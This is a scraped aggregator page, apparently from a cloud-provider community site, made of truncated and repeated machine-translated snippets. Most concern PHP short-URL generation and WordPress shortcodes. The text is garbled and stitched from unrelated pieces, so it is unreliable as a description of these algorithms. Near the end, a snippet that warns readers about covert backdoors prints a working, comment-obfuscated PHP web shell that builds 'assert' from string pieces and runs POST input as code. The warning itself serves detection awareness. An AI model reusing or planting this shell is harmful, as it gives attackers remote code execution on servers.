The 32-bit signature string generated by the long URL md5 is divided into four sections, each of which contains eight bytes:
1) generate a 32-bit signature string for the long URL md5, which is divided into four sections, each of which contains 8 bytes;
2) for these four cycles, take 8 bytes and treat them as hexadecimal strings and 0x3fffffff (30 bits 1) and operations, that is, ignore processing with over 30 bits;
3) The 30 digits are divided into six segments. each of the five digits is used
Ideas:
1) to generate a long URL MD5 32-bit signature string, divided into 4 segments, 8 bytes per segment;
2) for this four-segment cycle processing, take 8 bytes, he is regarded as 16 binary string and 0X3FFFFFFF (30 bit 1) and operation, that is, more than 30 bits of ignoring processing;
3) The 30 bits are divided into 6 segments, and each 5 digit number is taken as an index of the alphabet to obtain a specific character, followed by a 6-bit string;
4) The total MD5 string can obtain 4 6-bit
Ideas:1) generate a 32-bit signature string for the Long URL md5, which is divided into four sections, each of which contains 8 bytes;2) for these four cycles, take 8 bytes and treat them as hexadecimal strings and 0x3fffffff (30 bits 1) and operations, that is, ignore processing with over 30 bits;3) The 30 digits are divided into six segments. Each of the five digits is used as an index of the alphabet to obtain a specific character, and six strings are obtained in sequence;4) The total md5 str
WordPress in the Shortcode Short code function of the use of detailed, Wordpressshortcode
WordPress starting from the 2.5 version, the addition of a shortcode (short code) API, similar to the BBCode on BBS, Shortcode can also be very convenient for the article or page to add functionality, and shortcode than BBCode mo
In fact, the implementation of the short code is very simple, we only need to use a function in WordPress can be used to deal with short code, plus a small function of their own, you can make the short code to achieve easy plus ha
In function. the following code is inserted in php to enable the login user to view the content of the article. insert [members_only] [menmbers_only] where the user needs to view the content of each article. however, after I use the FooGallery short code in my article, FooGallery cannot be displayed normally. For more information, see... in function. the followin
PHP implements a short URL algorithm that theoretically supports 1,073,741,824 short URLs.Each URL is replaced by 6 characters, and (6^32) can have a maximum of 1,073,741,824 short URLs.Of course, you can also record more detailed information such as access history, creation time, etc.If it is not enough, it can also be deleted for a long time.functionShorturl ($
PHP generates a short URL of 3 ways to code instances, PHP generated 3 instances of
Short URL service, may be a lot of friends are no longer unfamiliar, now most of the microblogging, mobile email reminders and other places already have a lot of application patterns, and occupy a certain market. It is estimated that many friends are using it now. After looking a
PHP generates short URLs
Principle:
1. CRC32 Check the original URL, get the check code.
2. Use sprintf ('%u ') officer to convert to unsigned digits.
3. For the unsigned number of the remainder 62 operation (uppercase and lowercase letters + numbers equal to 62 bits), to obtain a remnant after mapping to 62 characters, the mapped characters are saved. (for example, the remainder is 10, the mapped chara
The following code is inserted into the function.php to enable the login user to view the article content, insert [members_only] [/menmbers_only] where each article needs to be viewed by the user.
But I use foogallery in the article after the short code, Foogallery can not display normally, ask how to solve?[Members_only][Foogallery id= "141"] article published
The original URL to do CRC32 check, get the check code, using sprintf officers transferred Guevara check code into unsigned numbers, detailed steps please see this articlePHP generated Short URL principle: 1. The original URL do crc32 check, get the check code. 2. Use sprintf ('%u ') officers transferred Guevara
Php generates short URLsPrinciple:1. Perform crc32 verification on the original website to obtain the verification code.2. Use sprintf ('% U') to convert the verification code to an unsigned number.3. Perform the remainder 62 operation on the unsigned number (uppercase and lowercase letters + digits are equal to 62 digits). After the remainder is obtained, it is
I am currently a acmer, the direction of web development, while Python,php,golang,js and other languages have been covered.
Because of the early contact with Python. Deeply influenced by the python take doctrine. Many small projects are written, but almost every project references many open source projects, and the code length is extremely short.
such as a recent management system. The entire foreground h
The php version of Weibo short link algorithm implements code. Idea: 1) generate a 32-bit signature string for the long URL md5, which is divided into four sections, each of which is 8 bytes; 2) process these four sections cyclically and take 8 bytes, think of it as a hex string and 0x3fffffff (30 bits 1) and an operation, that is beyond the thinking:
1) generate a 32-bit signature string for the long URL m
Generate short URL implementation program code in php. To generate a short URL, we can directly use a function to generate a unique address with a length of 5-6 characters. However, we also need to use static redirection directly, we can use a function to generate a unique address with a length of 5-6 characters. However, we also need to use static redirection di
Taking the short joke of hilarious net as an example, we can extract the source code of the webpage by requests method, and then get the related short joke through regular matching.The first step, get the Web source, using the requests get method, it should be noted that the page default encoding is Utf-8, we need to specify the encoding format for utf-8, in orde
Help! Who can give a short and long URL to each other to transfer the code or RELATED LINKS ~ ~
Ask the great God to give a code or link to the length of the URL
It's going to be written in PHP.
Do not use the database
Similar functions encrypt the mutual transfer of
First of all, thank you, big God. ^ ^
length URL
The length of the Web site
Share to:
-
Principles and code of generating short URLs using php. Principles of generating short URLs in php: 1. perform crc32 verification on the original website to obtain the verification code. 2. use sprintf (% u) to convert the verification code to an unsigned number. 3. perform
This article will introduce a very short code, but also a very covert backdoor Trojan, so that everyone in the detection program can avoid being hung Trojan.
The contents of the file are as follows:
$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>
A lot of comments
Mobile platform with two-dimensional code to deal with, about the two-dimensional code, there is a good article recommendedAt present I want to implement a function, scan QR code implementation, when using the scan Code app to go to the software market download, when the installation of the specified app automatically
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.